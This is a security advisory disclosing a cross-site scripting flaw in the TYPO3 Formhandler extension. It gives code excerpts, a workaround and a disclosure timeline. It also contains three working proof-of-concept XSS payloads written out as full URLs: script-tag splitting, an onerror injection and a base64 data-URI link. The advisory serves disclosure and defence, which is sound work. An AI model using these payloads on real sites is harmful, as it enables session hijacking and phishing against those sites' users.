Cross-Site Scripting in TYPO3 Formhandler Extension
RedTeam Pentesting discovered a cross-site scripting vulnerability (XSS) in the TYPO3 extension Formhandler.
Details
- Product: TYPO3 Formhandler
- Affected Versions: 2.4.0 and probably earlier
- Fixed Versions: none, project no longer maintained
- Vulnerability Type: Cross-site scripting
- Security Risk: medium
- Vendor URL:
http://www.typo3-formhandler.com/formhandler/
- Vendor Status: patch available
- Advisory URL:
https://www.redteam-pentesting.de/advisories/rt-sa-2016-007
- Advisory Status: published
- CVE: GENERIC-MAP-NOMATCH
- CVE URL:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
Introduction
TYPO3 Formhandler is an extension to build and handle forms on TYPO3 websites.
More Details
TYPO3 Formhandler can validate form data and create a pre-filled form with previous values and error messages, if the data does not comply. It uses input sanitisation and output encoding as an approach to prevent XSS when embedding the values in the resulting web page. Input sanitisation happens in the function “sanitizeValues()” defined in Classes/Interceptor/RemoveXSS.php line 62ff (https://github.com/reinhardfuehricht/typo3-formhandler/blob/master/Classes/Interceptor/RemoveXSS.php#L63):
/**
* This method does XSS checks and escapes malicious data
*
* @param array $values The GET/POST parameters
* @return array The sanitized GET/POST parameters
*/
public function sanitizeValues($values)
{
if (!is_array($values)) {
return [];
}
foreach ($values as $key => $value) {
[...]
$value = \TYPO3\CMS\Core\Utility\GeneralUtility::removeXSS($value);
The function removeXSS() is deprecated in TYPO3 version 8 (https://docs.typo3.org/c/typo3/cms-core/main/en-us/Changelog/8.2/Deprecation-76164-DeprecateRemoveXSS.html) and contains a known vulnerability for user-assisted XSS (https://packetstormsecurity.com/files/137127/typo3-xssbypass.txt).
TYPO3 Formhandler also supports a templating system that uses place holders that are delimited with three hash-signs, for example: ###auth_code###
Some of these values are user-controlled but not all of them are properly encoded. For example the auth code is used as follows (see Classes/View/Form.php, line 519ff.):
if ($this->gp['generated_authCode']) {
$markers['###auth_code###'] = $this->gp['generated_authCode'];
}
But other markers are encoded via htmlspecialchars() (line 513ff):
$markers['###HIDDEN_FIELDS###'] .= '
<input type="hidden" ' . $hiddenActionFieldName . ' id="ieHiddenField-' . htmlspecialchars($this->gp['randomID']) . '" value="1" />
';
Another value that TYPO3 Formhandler uses in forms is a so-called random ID, that is also obtained from a URL or POST parameter. In combination, both parameters allow to bypass the removeXSS() function as well and allow XSS.
Proof of Concept
The proof-of-concept URLs are created for the basic file upload example provided by the TYPO3 Formhandler documentation page (http://examples.typo3-formhandler.com/start/). The examples set the random ID parameter to a value containing the place holder ###auth_code### that contains an additional attack vector. For the attack vector to be included, the URLs need to be called twice. The second request needs to include the PHP session cookie that was set in response to the first request.
In the first example, the auth code bypasses the input sanitisation by using the placeholder ####### that renders to the empty string:
"><scr######ipt>alert("RedTeam+Pentesting")</script>
In the second example, the XSS code is split between the random ID and the auth code. The auth code is:
"><img src=x on
And the random ID is:
###auth_code###error='alert(/RedTeam Pentesting/.source)'
The third example uses the known bypass for the removeXSS() function by setting the auth code to:
"/><a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiUmVkVGVhbSBQZW50ZXN0aW5nIik8L3NjcmlwdD4K">XSS</a>
And using it as the random ID.
http://example.com/file-upload/basic-file-upload/?id=266&basic-file-upload%5brandomID%5d=%23%23%23auth_code%23%23%23&basic-file-upload%5bgenerated_authCode%5d=%22%3e%3cscr%23%23%23%23%23%23ipt%3ealert%28%22RedTeam+Pentesting%22%29%3c%2fscript%3e
http://example.com/file-upload/basic-file-upload/?id=266&basic-file-upload%5brandomID%5d=%23%23%23auth_code%23%23%23error%3d'alert(/RedTeam%20Pentesting/.source)'&basic-file-upload%5bgenerated_authCode%5d=%22%3e<img+src%3dx+on
http://example.com/file-upload/basic-file-upload/?id=266&basic-file-upload%5brandomID%5d=%23%23%23auth_code%23%23%23&basic-file-upload%5bgenerated_authCode%5d=%20"/><a%20href%3d"data:text/html;base64,PHNjcmlwdD5hbGVydCgiUmVkVGVhbSBQZW50ZXN0aW5nIik8L3NjcmlwdD4K">XSS</a>
Workaround
A possible workaround might be to patch Classes/View/Form.php to apply htmlspecialchars() before storing the auth code value for the respective marker. An unofficial patch from the vendor is available at: https://github.com/pluspol-interactive/typo3-formhandler/pull/1
Fix
None, since the project is no longer maintained.
Security Risk
Attackers can use the vulnerability to execute arbitrary JavaScript on the target system. Depending on the site it can be used to use and monitory the session of users, present phishing forms or harm the site’s reputation with false information. Attackers need to get people to open the respective URLs twice for this attack to work and therefore can only target individual users. All in all this is considered to be a medium-risk vulnerability. Depending on the affected site the risk needs to be adjusted accordingly.
Timeline
- 2016-09-22 Vulnerability identified
- 2016-10-07 Customer approved disclosure to vendor
- 2016-10-07 Vendor notified
- 2016-10-11 Preliminary advisory sent to vendor
- 2016-10-12 Vendor prepared patch and sent it to TYPO3 security team
- 2016-10-13 Customer needs time to test the patch and deploy it
- 2017-07-10 Customer finished testing and deployment of patch
- 2017-07-17 Vendor agreed to have patch published as PR on Github
- 2017-07-27 Vendor patch published as pull request for a possibly active fork
- 2017-07-27 Advisory released
RedTeam Pentesting GmbH
RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.
More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/